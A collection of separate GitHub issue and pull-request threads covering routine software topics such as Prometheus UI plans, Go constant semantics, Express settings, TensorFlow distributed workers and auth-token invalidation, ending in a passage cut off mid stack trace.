Migrate /targets to use /api/v1/targets as the backend

Very low prio, but targets should use /api/v1/targets instead of dumping HTML at the user.

I'm against doing this partially.
We started implementing API endpoints for things visible in the UI a while
ago to support building UIs purely against the API. But we shouldn't
attempt migrating single pages to fetch data via JS while others remain
being rendered at the server.
That would just make our JS code more messy than it already is. Probably
needs a new UI like Alertmanager.
On Mon, Aug 14, 2017 at 3:54 PM Richard Hartmann<EMAIL_ADDRESS>wrote:

Very low prio, but targets should use /api/v1/targets instead of dumping
HTML at the user.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/prometheus/prometheus/issues/3069, or mute the thread
https://github.com/notifications/unsubscribe-auth/AEuA8jr5pWjr9KwtXuRpr1AELpN4bN2Tks5sYFGtgaJpZM4O2ZiG
.

Same. Stuart, Andrey and I talked about a new UI already. Plans for this
have been around for a long time.
On Mon, Aug 14, 2017 at 4:02 PM Fabian Reinartz<EMAIL_ADDRESS>wrote:

I'm against doing this partially.
We started implementing API endpoints for things visible in the UI a while
ago to support building UIs purely against the API. But we shouldn't
attempt migrating single pages to fetch data via JS while others remain
being rendered at the server.
That would just make our JS code more messy than it already is. Probably
needs a new UI like Alertmanager.
On Mon, Aug 14, 2017 at 3:54 PM Richard Hartmann<EMAIL_ADDRESS>
wrote:

Very low prio, but targets should use /api/v1/targets instead of dumping
HTML at the user.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/prometheus/prometheus/issues/3069, or mute the
thread
<
https://github.com/notifications/unsubscribe-auth/AEuA8jr5pWjr9KwtXuRpr1AELpN4bN2Tks5sYFGtgaJpZM4O2ZiG
.

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/prometheus/prometheus/issues/3069#issuecomment-322198163,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAANaL-OovY2vIBlUGdw_dpuXrhQRX2lks5sYFMtgaJpZM4O2ZiG
.

Valid point; "migrate everything under /status once the new status APIs are done" sounds saner.

New UI does this.


[Spotify Genres] [Idea] Display by artist in genre modal

In this example, it only shows the genres of the first artist in the

player bar

and only the ones from the second artist in

the modal

I think it would be a nice addition to show the genres grouped by artists in the popup.
In this example, it could look like this
Genres from artist Jacidorex
acidcore belgian techno
Genres from artist Marie Vaunt
techno rave french techno

Check now and tell me. If you still face the issue then let me know


Merge pull request #1 from mit-cml/master

Update to the Original

What is this.. to update your fork, try this: https://stackoverflow.com/questions/7244321/how-do-i-update-a-github-forked-repository


feat(deque): add @deque.truncate()

This is a preparation PR for @deque.filter_map_inplace() as required in cmark.
The specific API in question mirrors Rust's VecDeque::truncate().

Pull Request Test Coverage Report for Build 4407
Details

5 of 5 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 83.588%

Totals

Change from base Build 4406:
0.1%

Covered Lines:
4696

Relevant Lines:
5618

💛  - Coveralls


Add python file to force installations of packages on first run

The Spotify API and the places python package require an action that forces the user out of running the code.
This could be made less frustrating by:

Creating a script that prompts the web-based Spotify API authentication launches
Creating a script that prompts the geograpy package to install its db

Closed by fd18da8927379b7c6548a4640f36ef5bd9d05c33


ROX-18330: Invalidate tokens after auth provider changes

Description
In case of changes to the auth provider where the ID of the provider will not change, i.e. within the declarative configuration approach, Central will currently not force people to relogin.
This means two things:

changes made with declarative config may not immediately apply and be visible without using ensuring you use a fresh session.
previously authenticated and authorized clients will keep their existing roles for the remaining TTL of their token.

Instead, we should force a relogin in case the configuration changed. This will ensure changes will be propagated accordingly to all existing users by forcing them to establish a new session, thus ensuring they
have the correct roles assigned.
To establish this, the following has been done:

Introduce a new field LastUpdated which indicates the last updated made to an auth provider.
Ensured that on both Create and Update the last updated field is updated to the current time.
Added a validation within the provider to compare the claim issued_at with the LastUpdated field.

Few things to note:

In case the field LastUpdated isn't set explicitly, it will assume the zero time. Thus, no token will be seen as invalid up until the auth provider is updated.
Currently the scope of setting the LastUpdated field is limited to changes for the auth provider. In case groups are changed, no re-login will be enforced (albeit, this could be done quite easily).
Currently no migration exists. Checking with the team whether we actually require one in scenarios like these (we do not add another column, and the existing objects do not need special migration).

Checklist

[ ] Investigated and inspected CI test results
[ ] Unit test and regression tests added
[ ] Evaluated and added CHANGELOG entry if required
[ ] Determined and documented upgrade steps
[ ] Documented user facing changes (create PR based on openshift/openshift-docs and merge into rhacs-docs)

If any of these don't apply, please comment below.
Testing Performed

see added unit tests.

Manual tests:
1. Configure declarative configuration providing an auth provider.

2. Verify login works successfully.

3. When querying the `/v1/authProviders` API, the auth provider should have a `lastUpdated` field set.

3. Update the auth provider by changing either some claim mapping, client ID/secret or any other field of your choice (_except_ the name).

4. Verify that you have to re-login after changes have been applied.

5. Verify that the auth provider's `lastUpdated` field is updated to a new value.

Current dependencies on/for this PR:

master

PR #7511   👈

This comment was auto-generated by Graphite.

/retest

/retest


Generation in Vulkan-Docs CI failed due to change on ash side

https://github.com/KhronosGroup/Vulkan-Docs/actions/runs/10419060444/job/29056703428 is failing. This seems to be something that changed on the ash side because the same job succeeded 5 days ago, but is failing now when I re-ran it.

That was caused by https://github.com/ash-rs/ash/commit/a00c45eb894c5c141a0c7366508dd4bd4eec0b4b which I merged yesterday. We've never ran with this on newer vk.xml than 1.3.281, where videocodecs was introduced.
I've just merged https://github.com/ash-rs/ash/pull/927 which adds support for this element, re-ran the CI and it's green again. Thanks for letting me know!


cmd/compile: iota inside function in a ConstSpec is not accepted

https://play.golang.org/p/K0Vga-Y1fv reports an error, but the spec doesn't prohibit this code.
https://play.golang.org/p/MbPQO9FJku is accepted, and there is no reason why the former, with iota being declared in the universe block shouldn't also be accepted within the constant declaration.

Not urgent in any way but marked as 1.10 so it doesn't slip from the radar. Might be an easy fix.

There is a paradox
package main

import "unsafe"

const (
	i = 1
	j
	k
	x = unsafe.Sizeof(func() {const a = iota; var _ [a-2]int }) // a is 0 or 3?
	y
	z
)

func main() {
}

The current gc thinks a is 0.

const a = iota sets a to 0.

@go101 This "paradox" was addressed with the most recent changes for #15550. The value of iota is the index of the respective ConstSpec in the constant declaration. Here you have a constant declaration inside the function, and the iota is in the first ConstSpec of that constant declaration, which has index 0. Hence the value of iota and thus a is 0.


Harpoon 2 - q and esc no longer work as escape keys

After upgrading to Harpoon 2, attempting to escape the harpoon window returns these lua errors:
q - E5107: Error loading lua [string ":lua"]:1: ')' expected near 'q'
esc - E20: Mark not set

I have done something, but my kids did some real acting up tonight, so I was unable to fix it, likely in the am for me

fixed!

thank you sir!


app.set("query parser") must be run before other app methods, otherwise the setting is not saved

I want to set a custom query parser using app.set(). This is my app:
const app = express();
const router = express.Router();
app.use(cookieParser());
app.use(helmet());
app.use(express.json());
app.use(cors());
app.options("*", cors());
app.use("/", router);

app.listen(3000);

I've tried putting app.set("query parser") between each statement, but it only works when applied at the beginning:
const app = express();
const router = express.Router();
app.set("query parser", function(str) {
  ...
}); // This works
...
app.listen(3000);

const app = express();
const router = express.Router();
app.use(cookieParser());
app.set("query parser", function(str) {
  ...
}); // This (or between any other statement) does not work
...
app.listen(3000);

However, app.get() shows Function[Anonymous] regardless of where I set the settings.

Yes, that is correct. It is a side effect of how the app gets initialized with settings. The behavior has been changed in the Express 5 releases and the order bo longer matters.


Offer a new version compatible with Junit 5.

The current version is compatible with Junit 4'12
The developer wish to use Junit 5.0 in his tests.

@maxbraun

Hi @sleroy!
I'm not 100% in the topic, but with only one artefact it may be problematic guarantee compatibility with junit 4 and 5.  Do you have any experience on this?
Regards! Max


Global Plugins Documentation

write docs for how global plugins have changed how plugins work

Related to : https://github.com/BlueBrain/nexus/issues/1369


Extensions for setting additional params while creating appliance set and appliance

It is required to implement support for user team in the scope of plgrid project.

@dice-cyfronet/atmo-dev-team please take a look. It is required to add team support in the scope of plgrid poroject.

:+1:

@tbartynski @bwilk review, please.

:+1:


General: Public analyses table format

On the EDA site, the Public Analyses link should take you to a stand-alone “Public analyses” table
This is in place of having the Public analyses table live within a tab on “My search strategies” (this is where the current Public strategies table lives in the WDK site)
Structure of the Public analyses table will look similar to the My analysis table currently on the EDA site, and will have the following columns in the following order:

Study: Study label
Analysis: user-provided name given to the analysis
Description: user-provided description of the analysis
Author: who created the analysis
Organization: affiliated institution for the author of the analysis
Created: when the analysis was created
Modified: when the analysis was modified

This is dependent on https://github.com/VEuPathDB/web-eda/issues/441

@jtlong3rd we would like to make the following improvements to the public analyses table, as we discussed in 10/1 UX meeting:

Allow the author to be able to edit the analysis name directly within the table (implement pencil icon)
Remove links to studies in the “Study” column
1st column = Study, 2nd column = Analysis
Make all columns searchable (currently, just “Study” and “Analysis” columns are searchable)

This was not discussed in the UX meeting, but I was wondering if it would be possible to add a column of pins so that users could pin public analyses of interest to the top of the table? this would have to be user specific, and would only show up once the user was logged in.

@jtlong3rd we would like to make the following improvements to the public analyses table, as we discussed in 10/1 UX meeting:

Allow the author to be able to edit the analysis name directly within the table (implement pencil icon)
Remove links to studies in the “Study” column
1st column = Study, 2nd column = Analysis
Make all columns searchable (currently, just “Study” and “Analysis” columns are searchable)

This was not discussed in the UX meeting, but I was wondering if it would be possible to add a column of pins so that users could pin public analyses of interest to the top of the table? this would have to be user specific, and would only show up once the user was logged in.

@danicahelb Yes, it would definitely be possible to add user-specific "pinned public analyses" to the UI - this would be a pure client change (no user service updates required). Let's run this idea by a wider group.

@jtlong3rd @danicahelb i am not sure the pinning should be phase 1. but jamie, i suppose this could be a soft user preference managed by the client? it could be a list of analysis IDs?

Yup, makes sense. We could also make use of the EDA user service preferences. (Currently, those  preferences are a JSON string with a single optional pinnedAnalyses property, which consists of a list of analysis IDs. The client could be updated to save/read an optional pinnedPublicAnalyses field that behaves similarly.)

@jtlong3rd the table looks great, but i'm not following the conversation around pinning. I'm going to close this ticket and create a new ticket on the pinning, which can get implemented in phase 2: https://github.com/VEuPathDB/EdaClinepiPhase2NewIssues/issues/41

@jtlong3rd the table looks great, but i'm not following the conversation around pinning. I'm going to close this ticket and create a new ticket on the pinning, which can get implemented in phase 2: VEuPathDB/EdaClinepiPhase2NewIssues#41

Sounds like a plan! The gist of the dialogue around pinning is that we shouldn't need to do any new service work; just client work.


Add documentation about kube2iam support

Closes #253

Codecov Report

Merging #445 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #445   +/-   ##
=======================================
  Coverage   40.88%   40.88%
=======================================
  Files          37       37
  Lines        2666     2666
=======================================
  Hits         1090     1090
  Misses       1418     1418
  Partials      158      158

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6c1bf47...35356e2. Read the comment docs.

Ah, good catch!
2017年3月23日(木) 22:08 Maxim Ivanov<EMAIL_ADDRESS>
@redbaron commented on this pull request.
In Documentation/kubernetes-on-aws-add-ons.md
https://github.com/kubernetes-incubator/kube-aws/pull/445#discussion_r107662239
:

+2. Target IAM roles needs to change trust relationships to allow kube-aws worker/controller IAM role to assume the target roles.

As CloudFormation generates unpredictable role names containing random IDs by default, it is recommended to make them predictable at first so that you can easily automate configuring trust relationships afterwards.
To make worker/controller role names predictable, set controller.managedIamRoleName for controller and worker.nodePools[].managedIamRoleName for worker nodes.
managedIamRoleNames becomes suffixes of the resulting worker/controller role names.

Please beware that configuration of target roles' trust relationships are out-of-scope of kube-aws.
Please see the part of kube2iam doc for more information. Basically,
you need to point Principal to the ARN of a resulting worker/controller IAM role which would look like arn:aws:iam::<your aws account id>:role/<stack-name>-<managed iam role name>.

+Finally, an example cluster.yaml usable with kube2iam would look like:
+
+```yaml
+# for controller nodes
+controller:

managedIamRoleName: myworkerrole

mycontrollerrole?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/kubernetes-incubator/kube-aws/pull/445#pullrequestreview-28646835,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AABV-ZpWfuCFLX30sm90bL3yvOaWCHqEks5rom68gaJpZM4MmZe9
.

@redbaron Thanks for your review. I've fixed them in https://github.com/kubernetes-incubator/kube-aws/commit/bec0f171a4f8a69b76698e9d46ae53f1706e8242


Feature: Which operators to ignore

close #5409

Coverage increased (+0.003%) to 91.932% when pulling 75cf6b7f31d74ff471f46d2343f5fbb337eb1cfc on lufei:feature-operator_linebreak into ea98c014c1bc2f94fdb672346b63252bc66b18ab on FriendsOfPHP:2.18.

Coverage increased (+0.003%) to 91.932% when pulling 75cf6b7f31d74ff471f46d2343f5fbb337eb1cfc on lufei:feature-operator_linebreak into ea98c014c1bc2f94fdb672346b63252bc66b18ab on FriendsOfPHP:2.18.

done

done

This seems to be a GitHub issue, my local ide shows up fine

Will people be doing review at GitHub or your local ide? 😉

You can also help me modify it, I tried it and it works the same way.

@sy-records what did you try? I meant to to run git rebase -i master and fixup` all commits to 1st one.

done @kubawerlos


Add regtest support

I testing using the cargo run client -- --peer <IP_ADDRESS>:18444 --network regtest against a localhost bitcoind -regtest and confirmed with getpeerinfo that one of the peers was murmel:
   ...
    "subver": "murmel: 0.1.0",
   ...

I also confirmed murmel was syncing blocks from my regtest node and that murmel's final "new tip" matches bitcoind "bestblockhash".
This one looks ready to pull in to me.

Hi @stevenroose thanks for reviewing does it need more review or ok to merge?


Copy Button on Code Blocks and Inline Code Not Working

Hello,
I hope this message finds you well. I am reaching out to report an issue I've encountered with the copy button feature in your Roam Research extension. Here's a brief overview:
Issue Description:
While the copy buttons appear correctly on both code blocks and inline code segments, clicking these buttons does not actually copy the code content to the clipboard. This issue persists in both scenarios.
Environment:

OS: MacOS Sonoma 14.5
Roam Version: 0.11.5-ebe1cb0b (up-to-date as of June 10, 2023)
Application: Roam Research App (Native)

Troubleshooting Steps Tried:

Restarting MacOS
Restarting Roam Research
Reinstalling the extension

None of these steps have resolved the issue.
Additional Context:
I have been using your tools for a long time and have always appreciated the functionality they add to my workflow. Unfortunately, I am unsure when this issue first started occurring, but it was functioning correctly at least a year ago. I also have no reliable way to reproduce the issue under different conditions or setups.
Thank you for looking into this. Please let me know if you need any more information.

Thanks for reaching out! The fix for this has actually already been submitted to Roam for review. You can follow the pull request here

This fix is now live in Roam Depot!


fix(shared-data): update tip length mutable map

This should be the tip type, because that's what the configs say.
testing

[ ] push to an ot2 and make sure the error's gone from the logs

This isn't correct and also after undoing it the problem is fixed? I am confuse


Change import logic to import the entire subtree.

…le node.

Make the importNode function available externally. This allows non-Incremental DOM managed attributes to be preserved by Incremental DOM if the first patch occurs after a DOM mutation outside of Incremental DOM.

Closes #228

:shipit:


<EMAIL_ADDRESS>

<EMAIL_ADDRESS>

Please, stop opening those issues or you'll be reported and blocked.


[REQ] Adding Japanese

Please enable Japanese translation in Weblate!

Japanese is added in version 2.16.
Please contribute in Weblate when you have better translations.


Fix isRepositoryActions()

Needed for https://github.com/sindresorhus/refined-github/pull/4051.

@fregante https://github.com/parcel-bundler/parcel/issues/5943 is causing the build to fail


Plugin not working after tns-core-modules update

After updating the tns-core-modules to 3.4.0 the schedule function fails and emits an error when called.Here is the error:
JS: Error in LocalNotifications.schedule: TypeError: Cannot read property 'NotificationClickedActivity' of undefined JS: ERROR Error: Uncaught (in promise): TypeError: Cannot read property 'NotificationClickedActivity' of undefined JS: TypeError: Cannot read property 'NotificationClickedActivity' of undefined
To replicate the error create a new project using tns create --ng newProj , add the plugin and try using the schedule function, an error similar to the error above would appear.
Note that i made the plugin work again by downgrading the core modules to 3.3.0 , tns-android to 3.3.1,and tns-ios to 3.3.0

Same issue here

Looks like with NativeScript 3.4 plugins can no longer just drop .jar files in a libs folder.. so I wrapped the native plugin code in an .aar and now it's working again. Available with 2.0.2 from npm.


Make sure the AppPools are started after Set-OSServerPerformanceTunning

Sometimes the Application Pools stops after applying the tunning

Related with #9. Closing


Correct way of assigning tickets and notifications

Hi,
At the moment I have to admins for the ticketing system. If a new ticket is created, one admin receives an email and if another ticket is created, an email is sent to the other admin.
Is there any way to send an email to both or all admins when a ticket is created?
I tried to add a comma separated values for all users I want to get notifications when a new ticket is created but still only sends to only one person.
Thank you.

It sends email to the assigned agent not the admin, seems that each time one of them picked automatically as the assigned agent so this why it gets the notification.
If you want to alter this behaviour, disable ticketit notification setting, in your AppServiceProvider, you can hook into the ticket created event and send the notification the way you need. You can get an idea on how to hook into the new created ticket event here


Bug: Vite doesn't show deal-breaking errors from console in browser

Any app-breaking error that occurs in the console will not be shown in the browser as a blocker warning from vite.
Example (pulled from google):

The browser's console is not designed to support these types of errors, which sometimes can lead to an unexpected app behaviour, if we don't pay regular attention to the console. The following and other variations of warnings will not be displayed.

Assumption: OpenSCD doesn't provide such an option for vite.
Solution: is it possible to make some kind of wrapper to allow it?

Decided not to act on the issue.


Distributed TensorFlow does not work when using more than 26 workers

System information

OS Platform and Distribution (e.g., Linux Ubuntu 16.04): RHEL 7.5
TensorFlow version (use command below): TF Alpha 2.0 and TF. 1.13 CPU only
Python version: 2.7
Intel Xeon Gold 6150 2.7GHz 18 cores (16 cores enabled) 24.75MB L3 Cache (Max Turbo Freq. 3.7GHz, Min 3.4GHz), 180GB RAM (Six Channel), 4.8TB of Disk Space

I have a performance issue using distributed TF for CPU machine with MultiWorkerStrategy using 58 workers. However, it seems that it does not work as the following errors:
WARNING: Logging before flag parsing goes to stderr.
W0502 21:43:31.821069<PHONE_NUMBER>6944 cross_device_ops.py:1106] Not all devices in tf.distribute.Strategy are visible to TensorFlow.
WARNING: Logging before flag parsing goes to stderr.
W0502 21:43:31.821974<PHONE_NUMBER>6704 cross_device_ops.py:1106] Not all devices in tf.distribute.Strategy are visible to TensorFlow.
terminate called after throwing an instance of 'std::system_error'
what():  Resource temporarily unavailable
terminate called after throwing an instance of 'std::system_error'
what():  Resource temporarily unavailable
terminate called after throwing an instance of 'std::system_error'
what():  Resource temporarily unavailable
Typically, how many workers can be used for this scheme?  and how to solve this problem? Is it because I do not have sufficient memory?

@ymsaputra In order to expedite the trouble-shooting process, please provide a code snippet to reproduce the issue reported here. Thanks!

The aforementioned error happens before the training process begins
Here is the snippet of the code:
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
	os.environ["CUDA_VISIBLE_DEVICES"]="-1"

	cluster = {'chief': ['localhost:2000'],
             #'ps': ['localhost:2222'],
             'worker': ['localhost:2001', 'localhost:2002', 'localhost:2003', 'localhost:2004', 'localhost:2005', 'localhost:2006', 'localhost:2007', 'localhost:2008', 'localhost:2009', 'localhost:2010', 'localhost:2011', 'localhost:2012', 'localhost:2013', 'localhost:2014', 'localhost:2015', 'localhost:2016', 'localhost:2017', 'localhost:2018', 'localhost:2019', 'localhost:2020', 'localhost:2021', 'localhost:2022', 'localhost:2023', 'localhost:2024', 'localhost:2025', 'localhost:2026', 'localhost:2027', 'localhost:2028', 'localhost:2029', 'localhost:2030', 'localhost:2031', 'localhost:2032', 'localhost:2033', 'localhost:2034', 'localhost:2035', 'localhost:2036', 'localhost:2037', 'localhost:2038', 'localhost:2039', 'localhost:2040', 'localhost:2041', 'localhost:2042', 'localhost:2043', 'localhost:2044', 'localhost:2045', 'localhost:2046', 'localhost:2047', 'localhost:2048', 'localhost:2049', 'localhost:2050', 'localhost:2051', 'localhost:2052', 'localhost:2053', 'localhost:2054', 'localhost:2055', 'localhost:2056', 'localhost:2057']
          }
	# Input Flags

	os.environ['TF_CONFIG'] = json.dumps(
		{'cluster': cluster,
		 'task': {'type': FLAGS.job_name, 'index': FLAGS.task_index}})
	mirrored_strategy = tf.distribute.experimental.MultiWorkerMirroredStrategy(tf.distribute.experimental.CollectiveCommunication.RING)
	config = tf.estimator.RunConfig(train_distribute=mirrored_strategy, eval_distribute=mirrored_strategy, save_checkpoints_steps=200)

Then I run multiple pythons as follows:
import subprocess

subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "chief" --task_index 0', shell = True)
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 0', shell = True)
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 1', shell = True)
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 2', shell = True)
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 3', shell = True)
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 4', shell = True)
...
subprocess.Popen('python syn_distributed_tf_energy3b-58.py --job_name "worker" --task_index 56', shell = True)

if i understand correctly, you're creating all the 58 workers on a single machine? if yes, what is the purpose behind that?

@guptapriya Yes, I use a single computer with Intel Xeon Gold 6150 2.7GHz 18 cores (16 cores enabled) 24.75MB L3 Cache (Max Turbo Freq. 3.7GHz, Min 3.4GHz), 180GB RAM (Six Channel), 4.8TB of Disk Space. I use 58 workers to represents 58 base stations for simulations. Should I need to use 58 machines to implement this?

Typically we just run 1 worker on one machine, unless running multiple workers helps in some way in resource utilization. running such a large number of workers on a single machine is definitely not something that has been tested much and I can imagine it running into running out of memory or other resources. Is it possible for you to use more machines instead?

Does it mean that I need to use more PCs/laptops, e.g., 6 laptops, to run at least 9 workers on each machine (to run 58 workers in total)?

If you want to run 58 workers, you'll need 58 machines. It is not efficient to run more than one worker on a single machine other than for testing purposes. Each worker would start a TF engine and each would try to use all of your resources.

Closing this issue for now since it doesn't look like a bug.

In a machine with 48 cores, why cannot 48 threads of worker be run. If that is not possible, is there a way to distribute load onto the 48 cores within a single worker ?

@TransientObject Please create a new issue with description, platform details, TF version and a simple standalone code to reproduce the issue. Thanks!

If you want to run 58 workers, you'll need 58 machines. It is not efficient to run more than one worker on a single machine other than for testing purposes. Each worker would start a TF engine and each would try to use all of your resources.

@ymsaputra Efficiency apart, the Ubuntu 18.04 seems to reach a limit around ~50 sessions. Raising DefaultTasksMax=infinity inside /etc/systemd/user.conf & system.conf worked for me. Note that I don't know what kind of side effect that could cause.


Update opentelemetry-api, ... to 1.35.0

About this PR
📦 Updates

io.opentelemetry:opentelemetry-api
io.opentelemetry:opentelemetry-exporter-otlp
io.opentelemetry:opentelemetry-sdk
io.opentelemetry:opentelemetry-sdk-testing

from 1.16.0 to 1.35.0
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "io.opentelemetry" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "io.opentelemetry" }
}]

labels: library-update, early-semver-minor, semver-spec-minor, commit-count:1

Superseded by #430.


Czech hyphenation patterns

Hello, this adds Czech hyphenation patterns. These are not the patterns from CTAN which are usually included with TeX. Instead these are a new set of Czechoslovak patterns by Petr and Ondřej Sojka.
I hope everything works fine; I am still learning Rust.

Thanks, nice that alternative patterns are available! I did not know about them. Would you mind also updating the language table in the README?

I've added Czech to the table and I've sorted it alphabetically, if you don't mind.
These new patterns were created for both Czech and Slovak, so they're a bit bigger than the original patterns (50 KiB vs 25 KiB), but according to the authors "the resulting Czechoslovak patterns hyphenate Czech and Slovak much better than the former single language patterns", so I think the bigger size is worth it.

Does Slovak have its own language code? If so, we might need to add an alias.

It does (sk, slk), but standalone Slovak patterns are already included.

okay, and are the existing ones better or are the Czech ones pereferrable?

It's hard to tell, the authors unfortunately didn't compare the new patterns to the included Slovak patterns, see table 4 in the article. They are likely better (2000 vs 8000 patterns).

Let's leave it for now (making it an alias would feel wrong, and support for sharing patterns across non-aliasing languages would need to be implemented first). But we can keep an eye on this and maybe replace them down the road.

Thanks!


verify_licenses.py script fails when using python 3.6 or earlier

Default python3 version for Ubuntu 18.04 is still python 3.6.9. Unfortunately, this version cannot build the docker images correctly as the verify_licenses.py script has a check for PY3 and if so found, uses a text=True parameter on line 67. The text parameter was only introduced in python 3.7, so 3.6 and earlier will fail.
A simple fix could be to change text=True to be universal_newlines=True. The text attribute was added as an alias to universal_newlines in the 3.7 release so they are actually functionally equivalent.
I made that change locally and the build process completes without issue.

Thanks for the suggestion. Will add this in.


UnnecessaryAbstractClass: Relax when the class is annotated with Module

In dagger it makes sense to have an abstract class with a few abstract methods since it'll tell the Dagger Compiler how certain types can be bound.
An example is the following class:
@Module abstract class SomeModule {
  @Binds abstract fun provideSomeThing(mySomeThing: MySomeThing): SomeThing
}

We probably want to ignore those cases when dagger.Module is applied.
What do you think?

Makes sense for annotation processing . Coma separated list of annotations :D + comma separated list of class name patterns?

Yeah maybe the same as the LateInit rule. I thought the class name pattern wanted to be solved differently according to #227.
However coming to think about this now maybe it'd make sense to have this also for annotations.

Certain rules will be skipped when an annotation is applied
Certain rules will be skipped when the class matches a regex

Yeah. It makes sense. It is just one more config options.

Should we do this config option on this rule or provide a way to exclude multiple rules when a given annotation is applied?

I want to start working on #227 at the end of the week after my exam. I think annotation based excluding should be done on the rule level with properties and excluding by class name can be efficiently done by #227.

Good luck for your exams. Alright that way sounds good to me. Probably we want to reuse the logic for collecting the Annotations together with the LateInit rule.

How should we proceed on this given that it's still waiting for feedback?

I think it is okay to have such a property for the whole. I mean annotation processing is really common on the jvm. Feel free to implement that :).


Update CRUD Routes?

We'll need to update CRUD routes so that we have the following views:

"view my escapes" where the user is looking only at itineraries that they have submitted to the database
"browse escapes" where the user can look at all itineraries in the database

The "view my escapes" should be able to delete, but "browse escapes" should not.

I can change the current view my escape page to browse escapes page and create a new view my escape page today.
Let's talk about more about how to make the view my escapes page functionally working with login stuffs tonight during class time.


Word search SW-NE direction fix

The SW-NE direction is special, because going in the forward direction, you start from the higher-numbered index, and going in the reverse direction, you start from the lower-numbered index. This is opposite from the other three kinds of directions (N-S, E-W, and NW-SE). This PR adds a bit of code to account for this and fixes crashes that were happening in challenge levels 2 and 3 of the Word Search (Myanmar) game.
I based this branch off of the default memory game setting branch, so you will see that code as well (open in PR #63 )

Thanks, Lainey. Looks good!


Traversable.filter() tests added

Current coverage is 96.04%

Merging #1061 into master will increase coverage by +0.15% as of 3a32f6b

@@            master   #1061   diff @@
======================================
  Files           75      75
  Stmts         9402    9402
  Branches      1733    1733
  Methods          0       0
======================================
+ Hit           9016    9030    +14
+ Partial        102     101     -1
+ Missed         284     271    -13

Review entire Coverage Diff as of 3a32f6b

Powered by Codecov. Updated on successful CI builds.

Thank you!


fix: remote target is permanently marked offline by mistake

Issue
The steps to reproduce the issue are as follows:

Stop the remote target.
Upload a file to local target and we will see in the log that remote target is offline.
Wait a while to ensure that a health check is performed.
Start the remote target and verify that it is accessible.
No matter how long we wait, the local target always considers the remote target to be offline.

Reason
When the remote target or network is down, the health check timer will not be reset. So even if the remote target or network recovers later, it will be permanently marked offline by mistake.

@vadmeste, why don't we run unit tests to find these issues?

@vadmeste, why don't we run unit tests to find these issues?

@garenchan feel free to write one.


Get number of followers of followers - Twitter API

I try to found the followers of the followers of a user, to know the popularity of the user. I use twython and It's my code to find this:
`user_followers = t.get_followers_list(user_id = from_user_id, count = 200)
  follower_followers_sum=0
 for follower in user_followers['users']:
                     follower_followers_sum+=follower['followers_count']]`

It runs but  I am running into the API rate limits. For example, if I have 1614 users, This can calculate the followers of the followers for the first 14 users and then stopped. There's a method that find the followers_count of the followers of a user without finding the follower id or screen_name (that has a strict limits)? Or that can't reach the rate limit

Hi, this is an old one. I'm just going through and cleaning up issues, although if you still need help, please feel free to reopen a new issue. Thanks.


receiving "API token is invalid."

I followed those steps:

created an internal integration in a Notion workspace
in the database page I gave access to the integration
pasted the "Internal Integration Secret" in the plugin
entered the page id

However when I use the plugin I get "API token is invalid."
Any idea what the problem could be?

If you are sure that these operations are okay and the copied Secret and pageId are okay, then restart the logseq or Notion plugin


Can you give me a simple example?

Can you give me a simple example?  Thanks

https://github.com/wuzhendev/flutter-cupertino-date-picker/tree/master/example


Enhacement/validators

Coverage increased (+0.5%) to 93.414% when pulling 85a2d843af09a411e033b22d938a3483fcf9d542 on enhacement/validators into 8a3d5a1618a988cb516e7bfb270c5fe1fd01525d on master.


Upgrade to iframe-resizer 4.2.1

Breaking change:

iframe-resizer v4.0.0 - Drop support for IE8-10 and Andriod 4
iframe-resizer v4.0.0 - Rename event handlers from fooCallback to onFoo

full changelog
Note: v4.2.1 is the latest available version on cdn

Closing stale PR

Closing stale PR


k2cli generate file-to-output operation fails

When running k2cli generate file-to-output operation fails with the error output below and no template is generated.
k2cli version
$ k2cli version
1.0.5-alpha+git.sha.e04ae0d98289565ab71424fd7b83072bfaed8f66

Environment:

Environment variables (e.g. env | grep 'KRAKEN_):
Nothing

**Configuration files (~/.kraken/config.yaml or the file passed to k2cli --config) **:
All arguments shown in command line above, no config.yaml file is present.

Others:

What happened:
$ k2cli generate ras-cts-ops.yaml
Pulling image 'quay.io/samsung_cnct/k2:latest' ███▒▒▒▒▒▒▒ Complete
Error response from daemon: invalid bind mount spec ".:.": invalid volume specification: '.:.': invalid mount config for type "volume": invalid mount path: '.' mount path must be absolute
panic: Error response from daemon: invalid bind mount spec ".:.": invalid volume specification: '.:.': invalid mount config for type "volume": invalid mount path: '.' mount path must be absolute

goroutine 1 [running]:
github.com/samsung-cnct/k2cli/cmd.containerAction(0xc4202bb880, 0x1705fe0, 0xc4202fa5a0, 0xc4202c3a40, 0x3, 0x3, 0x0, 0x0, 0x0, 0x0, ...)
	/Users/pat/code/go/src/github.com/samsung-cnct/k2cli/cmd/container_helpers.go:337 +0x3a3
github.com/samsung-cnct/k2cli/cmd.runFunc(0x173c440, 0xc42026d310, 0x1, 0x1)
